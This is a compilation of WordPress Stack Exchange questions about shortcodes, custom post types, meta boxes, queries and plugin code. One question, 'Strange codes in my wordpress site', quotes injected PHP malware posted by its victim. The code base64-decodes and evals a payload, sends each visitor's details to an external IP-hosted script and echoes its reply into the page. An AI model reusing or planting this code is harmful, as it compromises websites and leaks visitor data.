title: Nested Shortcode Inside [caption] Doesn't Process

text: Captions in wordpress do not support nested shortcodes at the moment (`v3.6`). So, If I do write               [caption]<img src=""> I love my [city][/caption]      Where city is suppose to be processed but it does not. **How do I fix this?** Ticket: #24990


title: How to Structure Pages and Subpages

text: I'm trying to create a church site using WordPress. The following is a small sample of the page structure I'm trying to create: **About**   * Staff   * Statement of Faith   * Contact **Ministries**   * Furnace Prayer   * Common Grounds Group   * Transformations   * Youth Group `About` and `Ministries` are not actual, physical pages. They just serve as a logical grouping of the pages. With this structure in mind, I'm trying to accomplish a couple things that I can't quite figure out:   * I'd like to create the menu items, `About` and `Ministries`, on a site-wide menu located in the header. However, I do not wan't to create the typical drop-down menu that lists all the pages underneath each section. I simply wan't the menu item to take the user to the first page underneath each section. So, if the user clicked on `About`, it would take them to `Staff`; and, if the user clicked `Ministries` it would take them to `Furnace Prayer`.   * On each page (Staff, Statement of Faith, Contact, Furnace Prayer, etc.), I will have a sidebar. On the sidebar I would like to put the text of the page's section as a heading (for `Staff` it would be `About`; for `Furnace Prayer` it would be `Ministries`; etc). If I was able to create categories for pages, I would do that; but, it doesn't look like I am able to do that with WordPress. So, how can I accomplish the above mentioned problems? I could probably create a parent, empty page to stick the subpages under and then link to the first subpage in the menu, but this doesn't seem like the correct way to do things. I hope this makes sense. If I need to clarify the questions, please let me know.


title: Passing value as hidden parameter to next page

text: I am trying to send value from one page to another page in WordPress as i do not want to repeat logic to fetch that value in other page. I am not very proficient in WordPress/PHP, if i have to do that in Java, i will create a hidden field and pass that value to server side code and from there can again set it as a request parameter, not sure how to achieve that in WordPress with help of PHP. I have a page and a link "see more" on right hand navigation panel,once user click link, he/she is being redirected to another page ,but I need to show information based on values from the parent page User is being redirected based on some rewrite rule and i am picking few values from using `get_query_var()`. I can do that by adding that parameter as query parameter, but i do not want to change current URL being generated. Here is more information about my use case: Site on which i am working is related to travelling and i am showing destination recommendations on few pages on its right hand side bar, for the UI layout, i am not showing all recommendations but few say _"10"_ and than i am giving a link saying _"Check all recommendations"_. When user land on certain page, i am fetching categories assigned to that post and it is possible to have multiple categories say   1. hill-station   2. adventure etc So based on these categories, i am showing them recommendations, so when user click on the click i want to pass this category information to next page so as i can show them eligible destination list. Is there any other way to pass value to new page except for setting value in session?


title: how can I insert a link on login page

text: I want to insert a link in login page in between the Login button and the password field, Is it possible ? if possible which action i need to hook ?


title: retrieve meta key when checkbox is used

text: I created a meta box with a value "home" of type checkbox, however I'm having hard times retrieving into the loop, I'm using this code into the loop:                <?php if(get_post_meta(get_the_ID(), 'home') == '1' ) : ?>             <?php endif; ?>      if the checkbox is checked it should work like this, however is not... the most funny part is if I set it to '0', it displays all the other pages where is not checked. Any guess? Thanks in advanced **UPDATE** Page Options code                $meta_boxes[] = array(     'id' => 'page-options',     'title' => __('Page Layout', 'andrewslab'),     'pages' => array('page'),     'context' => 'normal',     'priority' => 'high',      'fields' => array(                array(             'name' => __('Home', 'andrewslab'),             'id' => 'home',             'type' => 'checkbox',             'desc' => 'Display in home page',             'std' => ''             )           )      );      Template Code                <?php          global $wp_query;          $args = array_merge( $wp_query->query, array( 'post_type' => 'page' , 'showposts' => '4' ) );          query_posts( $args );           ?>      <?php while (have_posts()) : the_post() ; $meta = get_post_meta( get_the_ID(), 'home', true ); ?>          <?php if( checked( $meta, 1, false ) ) : ?>                           <?php endif ?>                <?php endwhile; ?>      <?php wp_reset_query() ?>      Basically I need to enter into the loop only if the checkbox is checked.


title: How can I make a custom post type sticky?

text:
I installed the "Sticky Custom Post Types" plugin, and I added this code to my `function.php`:               function wpb_cpt_sticky_at_top( $posts ) {              // apply it on the archives only         if ( is_main_query() && is_post_type_archive() ) {             global $wp_query;                  $sticky_posts = get_option( 'sticky_posts' );             $num_posts = count( $posts );             $sticky_offset = 0;                  // Find the sticky posts             for ($i = 0; $i < $num_posts; $i++) {                      // Put sticky posts at the top of the posts array                 if ( in_array( $posts[$i]->ID, $sticky_posts ) ) {                     $sticky_post = $posts[$i];                          // Remove sticky from current position                     array_splice( $posts, $i, 1 );                          // Move to front, after other stickies                     array_splice( $posts, $sticky_offset, 0, array($sticky_post) );                     $sticky_offset++;                          // Remove post from sticky posts array                     $offset = array_search($sticky_post->ID, $sticky_posts);                     unset( $sticky_posts[$offset] );                 }             }                  // Look for more sticky posts if needed             if ( !empty( $sticky_posts) ) {                      $stickies = get_posts( array(                     'post__in' => $sticky_posts,                     'post_type' => $wp_query->query_vars['post_type'],                     'post_status' => 'publish',                     'nopaging' => true                 ) );                      foreach ( $stickies as $sticky_post ) {                     array_splice( $posts, $sticky_offset, 0, array( $sticky_post ) );                     $sticky_offset++;                 }             }              }              return $posts;     }          add_filter( 'the_posts', 'wpb_cpt_sticky_at_top' );          // Add sticky class in article title to style sticky posts differently          function cpt_sticky_class($classes) {                 if ( is_sticky() ) :                  $classes[] = 'sticky';                 return $classes;             endif;              return $classes;                     }         add_filter('post_class', 'cpt_sticky_class');      In the dashboard everything worked, but in my homepage nothing happened. This is my code that displayed the content of my homepage:
     <?php include (TEMPLATEPATH . '/lib/slider.php'); ?>              <?php     $temp = $wp_query;     $wp_query= null;     $wp_query = new WP_Query();     $wp_query->query('post_type=listings'.'&paged='.$paged);     ?>     <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>             <div class="post propbox <?php if (++$counter % 2 == 0) { echo "lastbox"; }?> clearfix" id="post-<?php the_ID(); ?>">
          <?php  if( has_term( 'featured', 'type', $post->ID ) ) { ?>     Featured     <?php } else if ( has_term( 'sold', 'type', $post->ID ) ){ ?>     Sold     <?php } else if ( has_term( 'reduced', 'type', $post->ID ) ){ ?>     Reduced     <?php } ?>          <?php         if ( has_post_thumbnail() ) { ?>         <a href="<?php the_permalink() ?>"><img class="propimg" src="<?php bloginfo('stylesheet_directory'); ?>/timthumb.php?src=<?php get_image_url(); ?>&h=180&w=310&zc=1" alt=""/>             <?php } else { ?>         <a href="<?php the_permalink() ?>"><img class="propimg" src="<?php bloginfo('template_directory'); ?>/images/dummy.jpg" alt="" />     <?php } ?>

<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?>

Price  <?php $price=get_post_meta($post->ID, 'wtf_price', true); echo $price; ?>

Location  <?php echo get_the_term_list( $post->ID, 'location', '', ' ', '' ); ?>

Property type <?php echo get_the_term_list( $post->ID, 'property', '', ' ', '' ); ?>

Area  <?php echo get_the_term_list( $post->ID, 'area', '', ' ', '' ); ?>

             <?php wpe_excerpt('wpe_excerptlength_archive', ''); ?>             <a class="morer" href="<?php the_permalink() ?>">Check this

          <?php endwhile; ?>

          <?php getpagenavi(); ?>          <?php $wp_query = null; $wp_query = $temp;?>


title: How to make a custom route with any-string-part/number-part pointing to an existing page?

text: I've got a page with my own widget inside of it which needs some params from the url to produce dynamic db results - don't worry everything is sanitized well and I only let this part out to keep this slim and concentrated on routes which is the crucial part for me ( being wp newbie). Is it possible to set a custom route in WP with a string and number inside of it and let it point to an existing page identified by slug? I found somewhere route examples but not with a wildcard string and only working with templates - in this case I need an page as the endpoint. In **laravel 3** I would do the following:               // Calling following url:     // http://mypage.com/items/my-red-toy/123     //     // Will produce:     // You String is: my-red-toy     // The Number is: 123          Route::get('pageslug/(:any)/(:num)', function($anystring, $number)     {         echo "You String is: ".$anystring;         echo "The Number is: ".$number;     });      Or as rewrite rule in .htaccess (even if not a pretty solution...) :               RewriteRule ^items/([a-z]*)?/?([0-9]*)?/?$ /items [L]      This rewrite rule would work in my usual php pages but only works partialy in wp. It'll work with:               http://mypage.com/items/12314       but not with               http://mypage.com/items/my-red-toy       nor with               http://mypage.com/items/my-red-toy/1231      Somehow only one uri segment with numbers inside seems to be allowed. Could someone point me to the solution? I'm to new to Wordpress so I don't know where to start...


title: Build and ajax plugin not work

text: I have this code on a plugin                function ajaxp_init(){              /*         * registro del script         */              wp_deregister_script( 'jquery' );          wp_register_script( 'jquery', 'http://code.jquery.com/jquery-latest.pack.js', false, '' );               //keep jQuery and Prototype compatible          $url = get_bloginfo('wpurl').'/wp-content/plugins/pablowishlist';          wp_register_script( 'jquery_no_conflict', $url . '/pablowishlist.js', array( 'jquery' ), '' );              wp_enqueue_script( 'jquery_no_conflict' );               global $post;              wp_localize_script('jquery_no_conflict','MyAjax', array(             'postId' => $post->ID,             'action' => 'ajaxp_add_wishlist'         ));         //wp_register_script( 'pablowishlist-js', get_template_directory_uri() . '/js/pablowishlist.js', array( 'jquery' ), '2.2.1', false );         //wp_register_script('pablowishlist-js', plugins_url('pablowishlist.js',__FILE__), array('jquery')); // funcion de wordpress que registra un código, javascript.              /*         * load script         */         //wp_enqueue_scripts('jquery');         //wp_enqueue_scripts('pablowishlist-js');           }      and a JavaScript file in the same directory               jQuery(document).ready(function($){               $('#ajaxp_add_wishlist').click(function(e){             //alert('hola');             $.post(document.location.protocol+'//'+document.location.host+'/wp-admin/admin-ajax.php', MyAjax, function(response){                 alert(response);             });         });     });      But when I click in the button `ajaxp_add_wishlist` nothing happens. What's wrong?


title: Extend Wordpress Search

text: I've been using a plugin that creates it's own tables in the database to store restaurant menus. Is there any way to enable the WP search function to return matching results from it along with regular posts?


title: Custom filtering on month value only of an entire date field

text: I'm using the plugin Ajax WP Query Search Filter (http://wordpress.org/plugins/ajax-wp-query-search-filter/) to search some custom posts I've created. The filter works great on three custom taxonomies, however I also want to include a filter on a date field where the full date is stored. The filter I'd like is a dropdown containing each month, as such:   * Jan    * Feb    * Mar    * Apr    * May    * ... etc... This would search the date field on its month value. My question is how do I do this?   * dd/mm/yyyy I know I can create a Custom Meta Field filter, but how I would get it to search on the month part only? Thanks, Chris.


title: Input gets deleted/overwritten after changing to different Admin Menu

text: After I have added a plugin menu and have some input to be saved in the database, everything works fine and gets saved, even if I refresh the current page. However, once I go to other menus in Wordpress admin and come back to my plugin menu, my inputs get deleted. What causes this issue? **Functions.php**   Adding the item to menu               function plugin_admin_exist() {         add_menu_page('plugin', 'plugin', 'manage_options', 'plugin', 'plugin_Dashboard', plugins_url( 'plugin/images/icon.png' ));     }     add_action('admin_menu', 'plugin_admin_exist');      **Menu Function:**   External .php file for my html tags and php scripts.               function admin_Dashboard() {ob_start();         require ( plugin_dir_path( __FILE__ ) . 'dashboard.php'); }       **Database Set-up**   Create database related to my input fields.               if (get_option('Plugin_Master_Run')) {         $AdminOption = get_option('Plugin_Master_Run');     } else {         add_option('Plugin_Master_Run', array(             'plugin_profile'       => '',              'plugin_googleFont'    => '',              'plugin_browserIcon'   => '',             'plugin_regularMobile' => '',             'plugin_retinaMobile'  => '',             'plugin_logo'          => '',             'plugin_retinaLogo'    => ''         ));     }      **Input in external page for menu option:**   I have already declared `$AdminOption` as global variable and included a new array with `htmlentities($_POST['plugin_profile'], ENT_QUOTES),` for `update_option('Plugin_Master_Run', $newAdminValue);` and get the new input by `$AdminOption = $newAdminValue;`               <input name="Admin_profile" value="<?php echo $AdminOption['plugin_profile']; ?>" type="text"/>


title: How to call Shortcode categories for custom post types?

text:
Hi I'm trying to do something rather tricky in my Wordpress Theme I'm more of a designer front-end developer so its a bit of a guess work with php. Anyone have any ideas why this code only displays one slide. I want it to run a slideshow pulling in multipe slides from one category in my theme. Thanks For your help                   //Add Nivo Short Codes     function nivo_slider_function($atts){             extract(shortcode_atts(array(           'posts' => 5,           'category' => ''        ), $atts));           $args = array(             'numberposts' => -1,             'orderby' => 'menu_order',             'order' => 'ASC',             'post_type' => 'homepage_slider'         );              if ( ! empty( $category ) ) {             $args['category_name'] = $category;         }              $posts = get_posts( $args );              $homepage_slider  = '
'; //Open the container         foreach ( $posts as $post ) { // Generate the markup for each Question             $homepage_slider .= sprintf(('
%1$s

%2$s
'),                 $post->post_title,                 wpautop($post->post_content)             );         }         $homepage_slider .= '
'; //Close the container                  $return_string = '
';             query_posts(array('post_type' => 'homepage_slider', 'orderby' => 'menu_order', 'order' => 'ASC' , 'showposts' => $posts));             if (have_posts()) :           while (have_posts()) : the_post();                   $slider_img_src = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'homepage-slide', false);              $target_link = get_post_meta(get_the_ID(), 'slide_target_link', true);                 $return_string .= '';                endwhile;        endif;        $return_string .= '
';             wp_reset_query();        return $return_string;          }          function register_shortcodes(){        add_shortcode('slider-demo', 'nivo_slider_function');     }          add_action( 'init', 'register_shortcodes');      * * * This was the original code taken from a comment on this page. After following the slider tutorial I wanted to use the a shortcode to post it on any page instead of a template however I also wanted different slideshows so was trying above to add in the ability to connect the slideshows with categories. http://willrees.com/2013/05/create-and-manage-a-nivo-slider-using-wordpress- custom-post-types/               function nivo_slider_function($atts){             extract(shortcode_atts(array(           'posts' => 5,        ), $atts));             $return_string = '
';             query_posts(array('post_type' => 'homepage_slider', 'orderby' => 'menu_order', 'order' => 'ASC' , 'showposts' => $posts));             if (have_posts()) :           while (have_posts()) : the_post();                   $slider_img_src = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'homepage-slide', false);          $target_link = get_post_meta(get_the_ID(), 'slide_target_link', true);                   $return_string .= '';                endwhile;        endif;        $return_string .= '
';             wp_reset_query();        return $return_string;     }          function register_shortcodes(){        add_shortcode('slider-demo', 'nivo_slider_function');     }          add_action( 'init', 'register_shortcodes');


title: WP_Query and search by post_type using "s" param and relevanssi_do_query

text: I need to SEARCH by custom post_type and keyword, but I can't get results :'(               $args = array('post_type' => array('games_searches'), 'posts_per_page' => 10, 's'=>'a');          $loop = new WP_Query( $args );          relevanssi_do_query($loop);          while ($loop->have_posts() )     {         $loop->the_post();         echo get_the_title()."<br>";     }      Any ideas? thanks


title: Plugin Install screeen not found

text: I have been trying to add a new plugin by going to               http://domain.com/wp-admin/plugin-install.php      But This gives me "Error 404 - Page NOT Found" error, which is being shown using the theme 404 file (That's what I understand as the page adapts the theme styling). The same happens when I try to load update-core.php , themes.php etc. Any idea why this happens? **UPDATE** I updated my `wp-config.php` for debugging purpose and I have the following notice being displayed. `Notice: Trying to get property of non-object in /home/travel5b/public_html/wp-includes/post-template.php on line 29`


title: Can I get an auto-populated dropdown list of other custom posts in a custom post edit page?

text: I have a custom post type, and in one of the custom meta-fields, I would like to present a drop-down list of the other (published) custom posts in order to link two custom posts. Specifically, I have a Film type, and some Films are screened as double features with other films. Currently, I just have a field for the other film's post ID, and my template manually handles the URL linking for that. But it would be much more user friendly to offer a drop-down list with titles of previously published Films. How would I do this?


title: I changed post_type and now I receive 404 errors

text: I changed a custom post_type to a different name. Now when I view a single page with the post_type I receive a 404 page. How do I debug? Is there a WP log I can view the functions call?


title: Host the wp-admin on another domain?

text: Currenly I have a client that has a WordPress running on, let's say, `www.example.com`. I'm working on a new version using another technology/language that will be hosted on another server.. But the administration (WP) and the database will stay on old server. So basically I will need to point the `www.example.com` to the new host (no problem here) and create a subdomain like `admin.example.com` that will point to the old server with the WP installation. I'm afraid that this will make a mess on the database while storing `options` and `guids` for posts and attachments URLs... They will be stored as `admin.example.com` and not `www.example.com`, am I right? How to make the wp-admin run on `admin.example.com` and store URLs on the database as `www.example.com`? This would work for the preview links too?


title: trouble with query to fetch next and previous posts

text: I'm new to wordpress. I'm having trouble with a query I wrote to fetch the previous and next posts. ( I check               $sql = "     SELECT * FROM wp_posts WHERE post_date < ( SELECT post_date FROM wp_posts WHERE ID = {$id} ) LIMIT 1     UNION     SELECT * FROM wp_posts WHERE post_date > ( SELECT post_date FROM wp_posts WHERE ID =  {$id} ) LIMIT 1     ";          $wpdb->query($sql);          $arrPosts = $wpdb->last_result;      But I only get one post in $arrPosts. ( I know there are more than two). What's going on?


title: Want to add my custom prepare query but add_filter doesn't run

text: I want to manipulate the order of `WP_User_Query()`. I want the user to come out ordered by a custom meta field and by ascending order. I have the code correctly working tested it on `users.php` but since this is not a good place to put it I wanted to run `add_filter( 'prepare_query', 'my_prepare_query');` The call in the theme ('include' doesn't exist):               $count_args = array(         'include' => $include,         'number' => 999999,         'fields' => 'ID',         'orderby' => 'include',         'order' => 'ASC'     );     $user_count_query = new WP_User_Query( $count_args );      I just simply added another `elseif` to `prepare_query` on line 433 of `user.php`:               elseif ( 'include' == $qv[ 'orderby' ] ) {              $this->query_from .= " INNER JOIN wp_usermeta ON wp_usermeta.user_id = $wpdb->users.ID";         $this->query_where .= " AND wp_usermeta.meta_key = 'my_userpoints'";         $orderby = "wp_usermeta.meta_value";     }      Now why is the `add_filter` not overwriting the `user.php` function? Is it not possible to overwrite core functions?


title: Why doesn't wp_enqueue_script() work when including a JavaScript file with TEMPLATEPATH?

text: I am trying to use tips from **here** to add my JS file. I put the following in the functions.php of atahualpa theme I've got installed               function lektor_init() {       if (true) {         wp_enqueue_script('lektor',TEMPLATEPATH.'/js/synteza.js');       }     }     add_action('init','lektor_init');       `TEMPLATEPATH` has been already used before in there, so I just adapted it. But it doesn't show up. What did I do wrong?


title: add_action into another add_action not working

text:
I have this little php code for wordpress. It doesn't work. I want to make one add_action under another add_action. But the add_action that is under, is not working!               function no_reminder() {         echo "no_reminder function is active";         add_action('admin_menu','no_reminder');              remove_action( 'admin_notices', 'update_nag', 3 );     }          add_action('admin_menu', 'custom');     function custom() {         add_menu_page('settings', 'settings', '8', 'custom', 'customfunc');     }          function customfunc(){         $wpp_rg = get_option('wpp_rg');         if ($_POST['wpp_submit']):             update_option('wpp_rg',$_POST['wpp_rg']);         endif;         $farzad = get_option('wpp_rg');         /******************** IF1 ***********************/         if ($farzad==1) {             do_action('no_reminder');             no_reminder();             echo "If active";         }         if ($farzad==2) {             echo "IF Not Active";         }     /******************** IF1 ***********************/     ?>
     <form action="" method="post">

             test mode :
                                   <input name="wpp_rg" type="radio" value="1" id="RadioGroup1_0" <?php echo ($farzad==1 ? 'checked="checked"' : '') ?> />                     active
                                   <input name="wpp_rg" type="radio" value="2" id="RadioGroup1_1" <?php echo ($farzad==2 ? 'checked="checked"' : '') ?>/>                     not active

             	             <input type="submit" name="wpp_submit" value="save" class="button" />

     </form>
     <?php     }          ?>      What should i do ?


title: What can be wrong when automated backups stop being sent to email?

text: For some reason the automated backup that was sent to my email weekly stop arriving. What can be the problem?


title: How to prevent double execution of do_action statements

text: Is there any way to prevent double execution of do_action statements? For example, I have the following lines:               do_action('myhook1', 'myfunction1');     do_action('myhook2', 'myfunction2');     do_action('myhook3', 'myfunction3');      There are also other plugins that "might" be executing them. Is there a built-in WordPress function or some means to prevent dual execution of do_action statements? What I need is that once they are activated or executed? Wordpress will simply ignore the other do_action statements. Something like this condition:               if (!(already_executed)) {     //not executed     //execute the do_action lines           do_action('myhook1', 'myfunction1');      do_action('myhook2', 'myfunction2');      do_action('myhook3', 'myfunction3');               }


title: Can plugins that filter post contents work on posts from Word 2007?

text: I am testing blogging from Word 2007, so we can support users who wish to do so. Everything works fine, and as expected except the plugins that we use that add filters to the_content (eg wordpress-table-of-contents) do not process the posts from Word. If you open the posts in WordPress & save everything works fine, even if you do not change anything, but we want to be able to avoid this. For information, the site I'm most concerned about here is an MU site (running WP 3.0.1), but non-MU sites are affected in exactly the same way. So is there a way to have these plugins process posts that come from Word that doesn't involve interacting with the Wordpress admin panel?


title: I get "The PHP Date/Time library is not supported by your web host." on my CentOS host, what library to I need to install to add support?

text: I did some quick looking around, but my PHP skills are pretty nascent. I am sure there is just a package that needs installing. Edit to add additional information about the setup: Using:               yum info php      I get the version of PHP as 5.1.6:               Name       : php     Arch       : i386     Version    : 5.1.6      More information, this is a VM running CentOS at GoDaddy:               CentOS release 5.4 (Final)


title: Hide Jetpack for Contributor

text: I installed jetpack to my wordpress blog site. How can I hide `jetpack` to contributors, and show it only to administrators? Thanks


title: post formats - how to switch meta boxes when changing format?

text: ### Problem After realizing that post formats are ~~pretty popular, but~~ only a extremly rough drawn concept, i see that users will run into possible traps. Post format ...   * uses post meta fields & user doesn't remember exact meta key name.   * takes the link/embed/whatever object from post editor & user inputs wrong data. Both are examples of possible traps a user could hit. ### Idea The post format has a custom meta box that does only allow to input the expected data. The idea itself isn't that bad, but there's still the problem that the user would have to   * put data into the correct meta box   * then select the according post format. ### Question What i'm searching for is   * a solution that switches (ajax) the meta box (or just its content) based on the selection a user makes inside the post formats meta box  **OR...**   * using a ajax/jquery-ui tabs inside the meta box to switch meta box contents _and_ save the according post format on 'save_post' Note:   I'm not searching for the exact meta box content. My most interesst is to see the 'surroundings' in different `code` examples. Thank you!


title: Custom Post Type Templates?

text: Is it possible to set up templates for custom post types? For example you have a portfolio page with 4 different variations of layout and you want the user to be able to pick which layout they want for this post/page? Wondered if any of you good folk knew of a way? Thanks :)


title: Displaying a specific post in a wp query by post id

text: I'm simply trying to display a specific post id from my custom post type 'homepage_video'. I'm sure that this is the correct code but it seems to be returning all of the posts rather than just Post Id 40.               <?php                         query_posts('post_id=40&post_type=homepage_video');                         while (have_posts()): the_post(); ?>                             <div id="video-panel-blue">                                 <?php get_custom_field('home-video-iframe', TRUE); ?>                             </div>                         <?php endwhile; ?>      Thanks


title: Why does 'exclude_from_search' exclude a custom post type from WP_Query?

text: In WP 3.1, it appears that setting `'exclude_from_search' = TRUE` for a custom post type excludes the post type not just from searches on the front-end, but also from any post query using `'post_type' = 'all`'. I can imagine plenty of scenarios where a plug-in developer would want to access ALL post types, even those excluded from front-end searches. Is this a bug, or is it just poorly documented? _Backstory:_ I have a custom post type using a custom "Post Expiration Date" field. In an attempt to automatically un-publish expired custom posts, I created a Content Expiration plugin which uses wp_schedule_event() to periodically unpublish posts where "Post Expiration Date" < Today. It worked great as long as I specified my custom post type, but it stopped working when I tried to make it more generic by setting `'post_type' = 'all'` in the WP_Query arguments. Turns out the problem was the 'exclude_from_search' argument for the custom post type. Here's the pertinent code in the WP_Query class:               $exclude_post_types = '';     $in_search_post_types = get_post_types( array('exclude_from_search' => false) );     if ( ! empty( $in_search_post_types ) )       $exclude_post_types .= $wpdb->prepare(" AND $wpdb->posts.post_type IN ('" . join("', '", $in_search_post_types ) . "')");          if ( 'any' == $post_type ) {       $where .= $exclude_post_types;     }


title: any way to access variables from within post editor?

text: I am trying to assign a variable either from my template file or otherwise which I can then access within the post editor. Any ideas?


title: Modules with meta box implementations

text: I am looking for some modules that implement add meta box as shown here perhaps with some ajax magic. If you have any modules I could check out would be welcome.


title: Populate Taxonomy from Custom Posts

text: I have a custom post I am looking to categorize via a custom taxonomy. The taxonomy itself I want to be dependent on the items of another custom post type. Is it possible to populate a taxonomy via the items of a custom post type, or is it something I have to do manually? Plugins, snippets, guidance on alternat methods of approach would be greatly appreciated. EDIT WITH EXAMPLE: I have a custom post type that basically acts like a page. When I create one, I want it to populate a custom taxonomy with its title. Daniel Dvorkin's answer is the sort of solution I was thinking about.


title: How can I list all WordPress users, their email adress, post title and post status?

text: I am looking for a way to return something like the following:   * User, email, post title, post status   * User, email, post title, post status   * repeated.... Each user on my site has only 1 post. It is a custom post type called Company Listing.


title: wp_upload_dir how to get just the directory name .

text: I imagine that this would be a breeze for some - but I'm having difficulty getting just the upload's directory name - not the full path - I've gotten this far:               $uploads = wp_upload_dir();     $upload_path = $uploads['baseurl']; // now how to get just the directory name?      anyone have any ideas? thanks for sharing your experience. . .


title: If statement for is_author of a post

text: I want to show something in the sidebar of a post only if the author of the post equals a specific author or username. I was looking at `is_author()` but that doesn't seem to do the trick.


title: Allow filtering of loops for all categories

text: I want to give the option to filter the index page and every archive page for a category by things like newest, top-rated, most-viewed. I know how to filter a loop for each of those but I need a solution for switching to each filtered loop.


title: Proper Network Activation problem has been fixed in wp 3.3.1 or not?

text: @scribu opened a core trac ticket here for Proper Network Activation problem in multisite. It seems like its fixed in wp 3.1. But scribu was saying it doesn't fixed in wp 3.1. So he released a plugin for proper network activation. I'm using wordpress multisite. So can anyone tell me whether this problem fixed in wp3.3.1 or not?


title: HTML list menu to Wordpress menu

text:
I have purchased an HTML theme that I want to rebuild into Wordpress. I'm having trouble making the menu work. Beneath is the HTML for the menu. (without the beginning and end of the UL).
Portfolio

Three Columns

Four Columns

Pages

About Page

Pricing Page

Home Pages

Gallery images

OneByOne Slider

Video in header

Image & Video Slider

Services Page

Services Page (var1)

Services Page (var2)

Sidebar Right

Sidebar Left

Shortcodes

Buttons & Lists

Text & Images

Charts

Columns

Columns full width

Lightbox

Videos & Galleries

Google Maps

Tabs & Toggles

Boxes & Tables

Typography

Custom Widgets

Blog

Contact
      I need to get the HTML returned by `wp_nav_menu()` look like the code above in order to get the menu the correct way in the template. How should I do this?


title: Quick Conditional Tag Question if elseif

text: I have a meta box checkbox, you click to turn on/show the blow info basically... These conditionals dont seem to be working for some reason, the first if works, but when i add in any other else if it breaks..               <ul>              <?php if (get_post_meta($post->ID, 'hm_check_image1', true)) { ?>                   <li>             stufff stuff other meta info...         </li>                   <?php elseif (get_post_meta($post->ID, 'hm_check_image2', true)) { ?>              <li>             stufff stuff other meta info...         </li>                   <?php elseif (get_post_meta($post->ID, 'hm_check_image3', true)) { ?>              <li>             stufff stuff other meta info...         </li>                   <? } else { ?>     <!--no checkbox ticked-->              <?php } ?>          </ul>      I'm obviously missing something obvious, i prefer doing them like this usually so gives me flexibility to put anything i want between the li tags... not just limited by echo. Any help would be great, sure its a quick one..


title: WordPress theme options error

text: I am building a theme and I need to call theme options But I do get errors like white screen and 500 internal server error when I call theme options here In WP query (newbie in PHP)                <?query_posts ('meta_key=post_views_count&orderby=meta_value_num&order=DESC&meta_value=get_option(mytheme_value);');?>      Also in my front end form               // ADD THE FORM INPUT TO $new_post ARRAY     $new_post = array(     'post_title'    =>  $title,     'post_content'  =>  $description,     'post_category' =>  array($_POST['cat']),  // Usable for custom  taxonomies too     'tags_input'    =>  array($tags),     'post_status'   =>  'get_option(mytheme_status)',           and how can I call a option in functions.php


title: Strange codes in my wordpress site and my website is running too slow

text: I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything from my website and when I opened my website index page in notepad++. I saw too much strange codes and when I run my site on locally on wamp my antivirus issues too many warnings and blocks a lot of external going connections. I saw this code on my website index page:               <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>      tell me why is this code in my page and how it got there, I found this on no other pages also tell me what should I do now and my eset antivirus says this when I load my page in wamp:               Details:          Web page:     http://91.196.216.30/bt.php?ip=127.0.0.1&host=localhost&uri=/web/wordpress/&ua=mozilla/5.0+(windows+nt+6.1)+applewebkit/535.1+(khtml,+like+gecko)+chrome/14.0.835.187+safari/535.1&ref=          Description:     Access to the web page was blocked by ESET NOD32 Antivirus.     The web page is on the list of websites with potentially dangerous content.          www.eset.com


title: Is it possible to stop a theme activation when a certain plugin is not activated

text: So I am planning a theme that will depend on a plugin (for instance Timber or Themosis). So of course a theme will break if it can't use it's depending plugin's. So I would like a way to stop the user of activating a theme that needs a certain plugin to work and instead show an friendly error message containing the plugin that's needed. So far I found out how to check if a plugin is installed or not (link), but how to stop the theme from being activated if that's possible at all? I also found out about the `switch_theme` and the `after_switch_theme` actions. So what I am missing right now is a way to stop the actual activation. Is this possible? edit: Found this for displaying admin notices/warnings.


title: Query for tag given slug

text: How might I query for a tag given the slug?


title: How to remove .html from admin

text: I am using plugin you can see plugin `http://wordpress.org/extend/plugins/html-on-pages/` After activating this plugin it add .html at the end of page permalink. WE can see this .html extension `Dashboard->Pages->Edit` below the title its show permalink its editable its by default take .html as an extension for each page. But my problem is that for particular page I dont want .html extension.Is it possible. please help me its very urgent.I shall be very thankful to u


title: Removing Wordpress Footer -without access to PHP code?

text: I want to remove the "powered by wordpress" and theme name in the footer, but all the tutorials refer to clicking on the "Appearance" tab, clicking on an edit button, and then going to the php templates on the right sidebar. It seems like Wordpress has changed since these tutorials and is no longer allowing access to php templates. No matter what I do to the CSS code, the footer is not budging. Any help would be greatly appreciated!


title: delete a page from a breadcrumb trail

text: Currently I am working on adding a breadcrumb without a plugin to a site. I found several possibilities on how to do that, but what I specifically want is to take one Page out of the trail. My current trail is as follows: home - products - productgroup - productsubgroup - productname What I want it to become is: home - productgroup - productsubgroup - productname Does anyone have experience with this particular challenge? I'm on the latest WP version and I am using a child theme of Twenty Ten. More info on the breadcrumb I am using: http://www.bloggingtips.com/2009/02/22/create-a-breadcrumb-trail/


title: Adding custom Javascript to the head tag in Admin

text: I am writing a plugin for the back end but I need to add javascript that is created in a for loop to the head of the page. How do i do this? Steve


title: How we can get "get_post_meta" of specific user who added it

text: Basically i have front end form which store the notes and tags of post. And every user who logged in can store there own notes and tags. But i want when he view the notes and tags he can only see here own notes and tags not all the notes and tags of every one. For example there are 100 post there. Every user have an option to save notes and tags of each post and no one other can be able to see there notes and tags. so when user logged in he can able to view there notes and tags which he added.


title: Get ID of child from child slug, while knowing parent ID

